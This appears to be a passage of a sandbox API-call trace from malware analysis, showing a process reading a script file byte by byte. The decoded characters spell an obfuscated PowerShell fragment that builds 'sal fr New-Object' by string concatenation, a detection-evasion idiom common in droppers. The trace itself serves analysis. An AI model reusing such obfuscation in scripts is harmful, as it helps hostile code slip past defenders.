	[0058.653] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.653] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.653] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e380, cchWideChar=1 | out: lpWideCharStr="(") returned 1
	[0058.653] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.653] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.653] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.653] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e382, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.653] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.653] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.653] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.653] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e384, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0058.653] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.653] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.653] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.653] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e386, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.653] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.653] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.653] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.653] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e388, cchWideChar=1 | out: lpWideCharStr="+") returned 1
	[0058.653] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.653] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.654] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.654] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e38a, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.654] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.654] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.654] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.654] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e38c, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0058.654] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.654] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.654] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.654] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e38e, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0058.654] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.654] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.654] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.654] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e390, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0058.654] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.654] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.654] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.654] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e392, cchWideChar=1 | out: lpWideCharStr="f") returned 1
	[0058.654] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.654] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.654] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.654] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e394, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.654] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.654] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.654] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.654] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e396, cchWideChar=1 | out: lpWideCharStr="+") returned 1
	[0058.654] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.655] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.655] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.655] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e398, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.655] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.655] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.655] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.655] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e39a, cchWideChar=1 | out: lpWideCharStr="r") returned 1
	[0058.655] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.655] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.655] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.655] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e39c, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.655] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.655] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.655] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.655] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e39e, cchWideChar=1 | out: lpWideCharStr="+") returned 1
	[0058.655] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.655] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.655] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.655] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3a0, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.655] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.655] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.655] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.655] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3a2, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0058.655] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.655] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.655] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.655] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3a4, cchWideChar=1 | out: lpWideCharStr="N") returned 1
	[0058.655] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.655] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.656] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.656] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3a6, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.656] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.656] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.656] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.656] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3a8, cchWideChar=1 | out: lpWideCharStr="+") returned 1
	[0058.656] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.656] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.656] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.656] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3aa, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.656] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.656] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.656] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.656] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3ac, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0058.656] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.656] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.656] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.656] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3ae, cchWideChar=1 | out: lpWideCharStr="w") returned 1
	[0058.656] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.656] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.656] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.656] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3b0, cchWideChar=1 | out: lpWideCharStr="-") returned 1
	[0058.656] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.656] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.656] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.656] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3b2, cchWideChar=1 | out: lpWideCharStr="O") returned 1
	[0058.656] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.656] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.657] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.657] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3b4, cchWideChar=1 | out: lpWideCharStr="b") returned 1
	[0058.657] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.657] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.657] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.657] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3b6, cchWideChar=1 | out: lpWideCharStr="j") returned 1
	[0058.657] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.657] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.657] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.657] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3b8, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0058.657] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.657] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.657] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.657] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3ba, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0058.657] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.657] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.657] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.657] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3bc, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.657] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.657] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.657] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.657] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3be, cchWideChar=1 | out: lpWideCharStr="+") returned 1
	[0058.657] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.657] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.657] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.657] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3c0, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.657] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.657] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.658] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.658] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3c2, cchWideChar=1 | out: lpWideCharStr="t") returned 1
	[0058.658] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.658] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.658] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.658] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3c4, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.658] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.658] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.658] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.658] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3c6, cchWideChar=1 | out: lpWideCharStr="+") returned 1
	[0058.658] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.658] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.658] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.658] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3c8, cchWideChar=1 | out: lpWideCharStr="'") returned 1
	[0058.658] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.658] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0058.658] ReadFile (in: hFile=0x58, lpBuffer=0x49e7c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf778, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesRead=0x1cf778*=0x1, lpOverlapped=0x0) returned 1
	[0058.658] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49e7c320, cbMultiByte=1, lpWideCharStr=0x49e7e3ca, cchWideChar=1 | out: lpWideCharStr=";") returned 1
	[0058.658] _get_osfhandle (_FileHandle=0) returned 0x58
	[0058.658] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
